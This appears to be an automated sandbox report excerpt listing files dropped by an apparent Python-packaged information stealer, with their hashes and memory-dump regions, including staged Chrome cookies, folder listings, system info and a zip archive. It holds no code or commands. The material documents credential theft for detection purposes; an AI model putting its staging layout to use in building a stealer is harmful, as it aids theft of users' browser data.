| SHA512 | a4e6d58477baa35100aa946dfad42ad234f8affb26585d09f91cab89bbef3143fc45307967c9dbc43749ee06e93a94d87f436f5a390301823cd09e221cac8a10 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\sqlite3.dll
| MD5 | 8a6c2b015c11292de9d556b5275dc998 |
| SHA1 | 4dcf83e3b50970374eef06b79d323a01f5364190 |
| SHA256 | ad9afd1225847ae694e091b833b35aa03445b637e35fb2873812db358d783f29 |
| SHA512 | 819f4e888831524ceeed875161880a830794a748add2bf887895d682db1cec29eaddc5eddf1e90d982f4c78a9747f960d75f7a87bdda3b4f63ea2f326db05387 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\select.pyd
| MD5 | f5540323c6bb870b3a94e1b3442e597b |
| SHA1 | 2581887ffc43fa4a6cbd47f5d4745152ce40a5a7 |
| SHA256 | b3ff47c71e1023368e94314b6d371e01328dae9f6405398c72639129b89a48d2 |
| SHA512 | 56ee1da2fb604ef9f30eca33163e3f286540d3f738ed7105fc70a2bccef7163e0e5afd0aeb68caf979d9493cd5a6a286e6943f6cd59c8e18902657807aa652e3 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\rarreg.key
| MD5 | 4531984cad7dacf24c086830068c4abe |
| SHA1 | fa7c8c46677af01a83cf652ef30ba39b2aae14c3 |
| SHA256 | 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211 |
| SHA512 | 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe
| MD5 | 9c223575ae5b9544bc3d69ac6364f75e |
| SHA1 | 8a1cb5ee02c742e937febc57609ac312247ba386 |
| SHA256 | 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213 |
| SHA512 | 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\libssl-3.dll
| MD5 | 264be59ff04e5dcd1d020f16aab3c8cb |
| SHA1 | 2d7e186c688b34fdb4c85a3fce0beff39b15d50e |
| SHA256 | 358b59da9580e7102adfc1be9400acea18bc49474db26f2f8bacb4b8839ce49d |
| SHA512 | 9abb96549724affb2e69e5cb2c834ecea3f882f2f7392f2f8811b8b0db57c5340ab21be60f1798c7ab05f93692eb0aeab077caf7e9b7bb278ad374ff3c52d248 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\libcrypto-3.dll
| MD5 | 7f1b899d2015164ab951d04ebb91e9ac |
| SHA1 | 1223986c8a1cbb57ef1725175986e15018cc9eab |
| SHA256 | 41201d2f29cf3bc16bf32c8cecf3b89e82fec3e5572eb38a578ae0fb0c5a2986 |
| SHA512 | ca227b6f998cacca3eb6a8f18d63f8f18633ab4b8464fb8b47caa010687a64516181ad0701c794d6bfe3f153662ea94779b4f70a5a5a94bb3066d8a011b4310d |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\blank.aes
| MD5 | bc6530cb59238f72f30e974bec96e95d |
| SHA1 | 451e932492e6fba66a44190dcc2b4452f1060e65 |
| SHA256 | 14bcbf32c6dad4237244b2cf44abc80efc0a9681ee59cc656a588b065d5fa828 |
| SHA512 | a91f5e3dde8d75d8bc4c5386283c32824c271b5646bd9ece207405ee290341ca94dec8ff6a274c4c21c4723b505b5428f53ce03c48d0eae7c762b28156615ddf |
memory/4644-54-0x00007FFBBB500000-0x00007FFBBB52D000-memory.dmp
memory/4644-56-0x00007FFBBB610000-0x00007FFBBB62A000-memory.dmp
memory/4644-58-0x00007FFBBB200000-0x00007FFBBB224000-memory.dmp
memory/4644-60-0x00007FFBAC620000-0x00007FFBAC79F000-memory.dmp
memory/4644-62-0x00007FFBC1860000-0x00007FFBC1879000-memory.dmp
memory/4644-69-0x00007FFBBF570000-0x00007FFBBF57D000-memory.dmp
memory/4644-68-0x00007FFBAC960000-0x00007FFBAD024000-memory.dmp
memory/4644-70-0x00007FFBABB00000-0x00007FFBABBCD000-memory.dmp
memory/4644-73-0x00007FFBBB8F0000-0x00007FFBBB923000-memory.dmp
memory/4644-72-0x000002B6C4240000-0x000002B6C4769000-memory.dmp
memory/4644-71-0x00007FFBAB5D0000-0x00007FFBABAF9000-memory.dmp
memory/4644-75-0x00007FFBBF540000-0x00007FFBBF565000-memory.dmp
memory/4644-78-0x00007FFBBF4D0000-0x00007FFBBF4DD000-memory.dmp
memory/4644-77-0x00007FFBBB780000-0x00007FFBBB794000-memory.dmp
memory/4644-80-0x00007FFBAC500000-0x00007FFBAC61B000-memory.dmp
memory/1160-90-0x0000027A42650000-0x0000027A42672000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ordcihu.l5z.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4644-111-0x00007FFBBB610000-0x00007FFBBB62A000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 62623d22bd9e037191765d5083ce16a3 |
| SHA1 | 4a07da6872672f715a4780513d95ed8ddeefd259 |
| SHA256 | 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010 |
| SHA512 | 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 8740e7db6a0d290c198447b1f16d5281 |
| SHA1 | ab54460bb918f4af8a651317c8b53a8f6bfb70cd |
| SHA256 | f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5 |
| SHA512 | d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d28a889fd956d5cb3accfbaf1143eb6f |
| SHA1 | 157ba54b365341f8ff06707d996b3635da8446f7 |
| SHA256 | 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45 |
| SHA512 | 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c |
memory/4644-165-0x00007FFBBB200000-0x00007FFBBB224000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 8a9864a3108410099b617e1548085eff |
| SHA1 | e86bfaf23a6c5aa554ef32f199530622b04197b0 |
| SHA256 | db02f0618e9848668aab773d6e465cbd2dcd92c705942995dc73cef90b0941fa |
| SHA512 | c79cd815dad61ca4ebd1856fb76c286d7c54ad81c6988d408801650f03bd490b0da10ba8ca00f476854da0be341330f46235477e59ad7a0c0099f6b9c5d50939 |
memory/4644-178-0x00007FFBAC620000-0x00007FFBAC79F000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\ \Credentials\Chrome\Chrome Cookies.txt
| MD5 | 636938927dc7d830dd7c758ece962de7 |
| SHA1 | c0be4b3a27d689ae0a6e81a701e8d3c778757fb3 |
| SHA256 | d8a20cca212ad043f099419c849533273fbc88fcc20562817de2e4ef6d74e5d9 |
| SHA512 | 1d5aa1b5e696fdf8f4cf30ce9980ceefd8094401ca2591052ff40f4513efc9e16b9662c58eb9de5530e2371d5e1907a46ef91b9b3852eb067c641efcc5cc3aa0 |
C:\Users\Admin\AppData\Local\Temp\ \Directories\Desktop.txt
| MD5 | 659de42149706bf913bcd9a557f6d4c1 |
| SHA1 | 546ee8e9944617c7419fd4b267ae885ae76973f1 |
| SHA256 | a1517cbc2743909d405fbcc77878bd1d8698f3af6f2524fa8785d45346430ada |
| SHA512 | 407b15550a516ea185abb3fc19cefb08cba1948cce346a3f94be7aa823f53969bb3a9d838da764b2e5d8e7f2dd83f5d3ea75043c4f9a6616460b6360d817723b |
C:\Users\Admin\AppData\Local\Temp\ \Directories\Music.txt
| MD5 | 06f987da6cfafef0a661e844fbab1057 |
| SHA1 | 5e97ea6ed9409593c635371fa3a6739c30ab7682 |
| SHA256 | 1661066d32f199a5b1c59d15d253a25873ed80982c95e94c106454574b9371b5 |
| SHA512 | 0e441703cc72632bb121330038519e7ad867905295b43d0d6e8d229aebc4714643e288e4f0ba4d3c2d7346df1e61df8c0ec8faf89c1063830a61c5378e7f94ee |
C:\Users\Admin\AppData\Local\Temp\ \Directories\Downloads.txt
| MD5 | da83080176189066611a3d903136992f |
| SHA1 | c538ae88444fffc86ebf238dd3f6179199fd7109 |
| SHA256 | 3022f2046b1e7693a1c21021b3bff5547126ba59e3a53e5cd7e002363c5c4f45 |
| SHA512 | a4e9515e25d33c6de96fa52f875b5d0349d352abab55a1de4b6846c68fd3ebac02e3682b356eb502937c57270f07abd27d9b8ba134979954f34c8eae5bd43308 |
C:\Users\Admin\AppData\Local\Temp\ \Directories\Documents.txt
| MD5 | 712a32b30c59d4af59ed29ec60f1cea4 |
| SHA1 | 44ba038b0e0c4a396c368613ce879c0258292101 |
| SHA256 | 25694b4851464395525e1f1c14fa6e07d8790b78317012cce04f539390a580f9 |
| SHA512 | a4905149055aff9fcf8c305acd6d267d03f0ccf569dd8b41bbfb19da6ebb4a5e88d0ab55ad1dd0835b14b7abcca5aa840a15c48d55b6e9806694c17df0488468 |
C:\Users\Admin\AppData\Local\Temp\ \Directories\Pictures.txt
| MD5 | 7db49d6e806f42b8d43481c3a4ad911a |
| SHA1 | ea59ef4715c7569fb61582e9cceb47c451141e3d |
| SHA256 | 70ba859b437ce8891c5947f4aa06a13a29bc4b1ee7e03c7f7ee55f40b2eb7252 |
| SHA512 | 505561f38d8252342f630c3bf3214741f9218774c94477ee3b02ca34301010a2b5a35dad5bf3183c55ffa398f07ca4ea4e3e05e660cdecd4f6d705d30764c4b0 |
C:\Users\Admin\AppData\Local\Temp\ \System\System Info.txt
| MD5 | 98fd6fba922666700d93aa5d882269f5 |
| SHA1 | 469bf7e201163e8865d6635c974e1aca3ebfbe65 |
| SHA256 | a2eaad1962e21fdac26cc3a6275d87f41a5182e60ed7361ed15c00f445908328 |
| SHA512 | ddc0fdd38e5496374a0b8b6fa3426eb85700d48d14b1d1528cd205ab691963e81899d52b7b7556effc3c9b3d700b12469559602e81a148ddeafddb8dc6b4d7fd |
C:\Users\Admin\AppData\Local\Temp\ \System\MAC Addresses.txt
| MD5 | 2916da2176187a27d002af2cca4cd599 |
| SHA1 | 72888b42cd8595fc8ff4aa5a1b05c53f1546153b |
| SHA256 | 796d3b66d68ad8d897209aa8d6a88ab53d791723592f5df6724bd03843abe0c4 |
| SHA512 | 64b99be0deff4d478aa4f7835899b353d44de4d45d2899fff2f4735b5fa7add66024fdca5ab4627d861c9dc9f41215cfda8c2fdbd999310d1fc5b98a068a2ede |
C:\Users\Admin\AppData\Local\Temp\ \Directories\Videos.txt
| MD5 | e140e10b2b43ba6f978bee0aa90afaf7 |
| SHA1 | bbbeb7097ffa9c2daa3206b3f212d3614749c620 |
| SHA256 | c3a706e5567ca4eb3e18543296fa17e511c7bb6bef51e63bf9344a59bf67e618 |
| SHA512 | df5b92757bf9200d0945afda94204b358b9f78c84fbaeb15bdf80eae953a7228f1c19fdf53ed54669562b8f0137623ea6cee38f38ef23a6f06de1673ff05733f |
C:\Users\Admin\AppData\Local\Temp\ \System\Task List.txt
| MD5 | bf80e667aab22b44cb6e34e4d17698ab |
| SHA1 | c3cd9983c2bd438f95786ae2ff6c329165bf52f5 |
| SHA256 | cb408bdb892c1c5d3cae76a7ae08d357c33fd3995143e8bf2b247dabffd1583c |
| SHA512 | c0c6f0549fc5ca271c3961b4ff0d93d55dd7fa15a796739dbae630a98c71d94fe750cca795c366d649ac6cc7b72c32dfbf78aa095f1f6fbf120f0ff8bcb6e500 |
C:\Users\Admin\AppData\Local\Temp\rvLoV.zip
| MD5 | 3e43f608bf2da1f25be8abe8bab25c52 |
| SHA1 | 71d0acfb72c65688ca5367a1e56808696cdc6e6b |
| SHA256 | 6605122e1c7fcb768ea4cfb675d9183d6e5893d541e1e03025d6bcd55a26f097 |
| SHA512 | 02ea21aa3ab125875a3d8a10ffab1b352f6d9e5cb277ea89440d3ca5b2c15c4e3433336c5ca56f4fe96bdf124d915882b5060560e84d8f57b7d55d1bc94e6dfb |
memory/4644-194-0x000002B6C4240000-0x000002B6C4769000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 7511c81925750deb7ad1b9b80eea8a8d |
| SHA1 | 6ea759b3cbd243ae11435c6d6c5ced185eb01f49 |
| SHA256 | 5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa |
| SHA512 | 5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b |
memory/4644-206-0x00007FFBAB5D0000-0x00007FFBABAF9000-memory.dmp
memory/4644-205-0x00007FFBABB00000-0x00007FFBABBCD000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | b79eba6da7413efa3073c1847c013c43 |
| SHA1 | 8064312a89143475e20a7ef921b586bcfcce052b |
| SHA256 | 22afc01e3ae9c96fc2e2b1aa37c821dd94dcf5db576f327eae9c09cb815a97bd |
| SHA512 | f5d1a509e3e21a537a25f948afe34c1ac7a554fa325ee9cbc53df0ba3122f1ec4b32841efeaeba2500595525e22b79c9cfadacf1e11335e7a4444ad3138ca057 |
memory/4644-234-0x00007FFBBB8F0000-0x00007FFBBB923000-memory.dmp
memory/4644-219-0x00007FFBAC960000-0x00007FFBAD024000-memory.dmp
memory/4644-220-0x00007FFBBF540000-0x00007FFBBF565000-memory.dmp
memory/4644-235-0x00007FFBAC960000-0x00007FFBAD024000-memory.dmp
memory/4644-259-0x00007FFBABB00000-0x00007FFBABBCD000-memory.dmp
memory/4644-258-0x00007FFBBF570000-0x00007FFBBF57D000-memory.dmp
memory/4644-260-0x00007FFBAB5D0000-0x00007FFBABAF9000-memory.dmp
memory/4644-257-0x00007FFBC1860000-0x00007FFBC1879000-memory.dmp
memory/4644-256-0x00007FFBAC620000-0x00007FFBAC79F000-memory.dmp
memory/4644-255-0x00007FFBBB200000-0x00007FFBBB224000-memory.dmp
memory/4644-254-0x00007FFBBB610000-0x00007FFBBB62A000-memory.dmp
memory/4644-253-0x00007FFBBB500000-0x00007FFBBB52D000-memory.dmp
memory/4644-252-0x00007FFBBB8F0000-0x00007FFBBB923000-memory.dmp
memory/4644-251-0x00007FFBBF540000-0x00007FFBBF565000-memory.dmp
memory/4644-250-0x00007FFBC4920000-0x00007FFBC492F000-memory.dmp
memory/4644-249-0x00007FFBAC500000-0x00007FFBAC61B000-memory.dmp
memory/4644-248-0x00007FFBBF4D0000-0x00007FFBBF4DD000-memory.dmp
memory/4644-247-0x00007FFBBB780000-0x00007FFBBB794000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI11122\blank.aes
| MD5 | 937e7085c803dc6ecd11648175056155 |
| SHA1 | 89307d372b7797975b945b04a0cda093e75f0e64 |
| SHA256 | 76617c54741e8d778a3ddab0b5dacaa811548d269e0575598d555b342fbc5d79 |
| SHA512 | f1510c80c17b1c927b233b9ec5ff7dde2d33fdc4045208e44ca5708b4de443b1d0a8d42114e409cb1fbecb77d873119c677624e059cb04ac2d33ca7aedafdf0f |